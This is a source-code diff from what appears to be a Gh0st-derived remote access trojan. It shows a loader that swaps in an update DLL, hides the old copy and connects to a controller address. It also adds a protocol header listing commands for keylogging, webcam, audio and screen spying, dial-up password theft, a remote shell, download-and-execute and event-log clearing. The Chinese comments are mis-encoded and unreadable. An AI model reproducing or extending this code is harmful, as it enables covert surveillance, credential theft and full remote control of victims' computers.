// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>: IP <20><> <20>˿<EFBFBD>.
|
||||||
|
BOOL Run(const char* argv1, int argv2) {
|
||||||
|
BOOL result = FALSE;
|
||||||
|
char path[_MAX_PATH], * p = path;
|
||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
while (*p) ++p;
|
while (*p) ++p;
|
||||||
while ('\\' != *p) --p;
|
while ('\\' != *p) --p;
|
||||||
strcpy(p+1, "ServerDll.dll");
|
*(p + 1) = 0;
|
||||||
|
std::string folder = path;
|
||||||
|
std::string oldFile = folder + "ServerDll.old";
|
||||||
|
std::string newFile = folder + "ServerDll.new";
|
||||||
|
strcpy(p + 1, "ServerDll.dll");
|
||||||
|
BOOL ok = TRUE;
|
||||||
|
if (_access(newFile.c_str(), 0) != -1) {
|
||||||
|
if (_access(oldFile.c_str(), 0) != -1)
|
||||||
|
{
|
||||||
|
if (!DeleteFileA(oldFile.c_str()))
|
||||||
|
{
|
||||||
|
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
|
||||||
|
ok = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||||
|
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||||
|
ok = FALSE;
|
||||||
|
}else {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||||
|
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||||
|
{
|
||||||
|
std::cout << "File created and set to hidden: " << oldFile << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||||
|
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||||
|
MoveFileA(oldFile.c_str(), path);// recover
|
||||||
|
}else if (ok){
|
||||||
|
std::cout << "Using new file: " << newFile << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
HMODULE hDll = LoadLibraryA(path);
|
HMODULE hDll = LoadLibraryA(path);
|
||||||
typedef void (*TestRun)(char* strHost,int nPort );
|
typedef void (*TestRun)(char* strHost, int nPort);
|
||||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||||
|
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
|
||||||
if (run)
|
if (run)
|
||||||
{
|
{
|
||||||
char *ip = g_ConnectAddress.szServerIP;
|
char ip[_MAX_PATH];
|
||||||
int &port = g_ConnectAddress.iPort;
|
strcpy_s(ip, g_ConnectAddress.ServerIP());
|
||||||
if (0 == strlen(ip))
|
int port = g_ConnectAddress.ServerPort();
|
||||||
{
|
strcpy(p + 1, "settings.ini");
|
||||||
strcpy(p+1, "remote.ini");
|
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
|
||||||
GetPrivateProfileStringA("remote", "ip", "127.0.0.1", ip, _MAX_PATH, path);
|
strcpy(ip, argv1);
|
||||||
port = GetPrivateProfileIntA("remote", "port", 2356, path);
|
port = argv2;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
|
||||||
|
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
|
||||||
|
}
|
||||||
|
printf("[server] %s:%d\n", ip, port);
|
||||||
|
do
|
||||||
|
{
|
||||||
|
run(ip, port);
|
||||||
|
while (bStop && !bStop() && 0 == status)
|
||||||
|
Sleep(20);
|
||||||
|
} while (bExit && !bExit() && 0 == status);
|
||||||
|
|
||||||
|
while (bStop && !bStop() && 1 == status)
|
||||||
|
Sleep(20);
|
||||||
|
if (bExit) {
|
||||||
|
result = bExit();
|
||||||
|
}
|
||||||
|
if (!FreeLibrary(hDll)) {
|
||||||
|
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
|
||||||
}
|
}
|
||||||
printf("[remote] %s:%d\n", ip, port);
|
|
||||||
run(ip, port);
|
|
||||||
#ifdef _DEBUG
|
|
||||||
while(1){ char ch[64]; std::cin>>ch; if (ch[0]=='q'){ break; } }
|
|
||||||
if (stop) stop();
|
|
||||||
while(bStop && !bStop()) Sleep(200);
|
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
return -1;
|
else {
|
||||||
|
printf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||||
|
Sleep(3000);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
}
|
}
|
||||||
BIN
client/zlib.lib
211
common/commands.h
Normal file
@@ -0,0 +1,211 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <vcruntime_string.h>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#ifndef _MAX_PATH
|
||||||
|
#define _MAX_PATH 260
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB>Ψһ<CEA8><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
#define FLAG_FINDEN 0x1234567
|
||||||
|
|
||||||
|
#define FLAG_GHOST 0x7654321
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
#define DLL_VERSION "20241229" // DLL<4C>汾
|
||||||
|
|
||||||
|
#define TALK_DLG_MAXLEN 1024 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||||
|
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
|
||||||
|
TRANSFER_MODE_ADDITION, // <><D7B7>
|
||||||
|
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB><EFBFBD><D7B7>
|
||||||
|
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
|
||||||
|
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
|
||||||
|
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||||
|
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
|
||||||
|
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||||
|
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_EXCEPTION, // <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||||
|
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
|
||||||
|
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||||
|
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
|
||||||
|
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||||
|
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>鿴
|
||||||
|
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>㷨
|
||||||
|
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
|
||||||
|
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
|
||||||
|
COMMAND_SCREEN_CAPTURE_LAYER, // <20><><EFBFBD><D7BD>
|
||||||
|
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
|
||||||
|
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>H263ѹ<33><D1B9>
|
||||||
|
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
|
||||||
|
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
|
||||||
|
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>Ի<F2BFAAB6><D4BB><EFBFBD>)
|
||||||
|
|
||||||
|
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
|
||||||
|
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBC>̼<EFBFBD>¼
|
||||||
|
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
|
||||||
|
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
|
||||||
|
COMMAND_SHELL, // cmdshell
|
||||||
|
COMMAND_SESSION, // <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
|
||||||
|
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
|
||||||
|
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
|
||||||
|
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
|
||||||
|
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
|
||||||
|
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||||
|
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||||
|
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
||||||
|
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_REGEDIT,
|
||||||
|
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||||
|
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
|
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||||
|
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
|
||||||
|
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||||
|
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||||
|
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||||
|
|
||||||
|
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4>BITMAPINFO
|
||||||
|
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||||
|
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||||
|
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
|
||||||
|
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
|
||||||
|
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||||
|
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
|
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||||
|
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||||
|
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||||
|
TOKEN_REG_KEY,
|
||||||
|
TOKEN_REG_PATH,
|
||||||
|
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
|
SERVER_EXIT, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
|
};
|
||||||
|
|
||||||
|
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||||
|
#define CLIENT_TYPE_ONE 1 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||||
|
#define CLIENT_TYPE_MODULE 2 // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
typedef struct CONNECT_ADDRESS
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
unsigned long dwFlag;
|
||||||
|
char szServerIP[_MAX_PATH];
|
||||||
|
int iPort;
|
||||||
|
int iType;
|
||||||
|
|
||||||
|
public:
|
||||||
|
void SetType(int typ) {
|
||||||
|
iType = typ;
|
||||||
|
}
|
||||||
|
const unsigned long & Flag() const {
|
||||||
|
return dwFlag;
|
||||||
|
}
|
||||||
|
const char* ServerIP()const {
|
||||||
|
return szServerIP;
|
||||||
|
}
|
||||||
|
int ServerPort()const {
|
||||||
|
return iPort;
|
||||||
|
}
|
||||||
|
int ClientType()const {
|
||||||
|
return iType;
|
||||||
|
}
|
||||||
|
void SetServer(const char* ip, int port) {
|
||||||
|
strcpy_s(szServerIP, ip);
|
||||||
|
iPort = port;
|
||||||
|
}
|
||||||
|
bool IsValid()const {
|
||||||
|
return strlen(szServerIP) != 0 && iPort > 0;
|
||||||
|
}
|
||||||
|
} CONNECT_ADDRESS ;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
|
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
|
||||||
|
// Ϊ<>ˣ<EFBFBD><CBA3><EFBFBD>20241228<32>ύ<EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>ṹ<EFBFBD><E1B9B9>Ԥ<EFBFBD><D4A4><EFBFBD>ֶΣ<D6B6><CEA3>Ա<EFBFBD>δ<EFBFBD><CEB4>֮<EFBFBD><D6AE>ʱ֮<CAB1><D6AE>
|
||||||
|
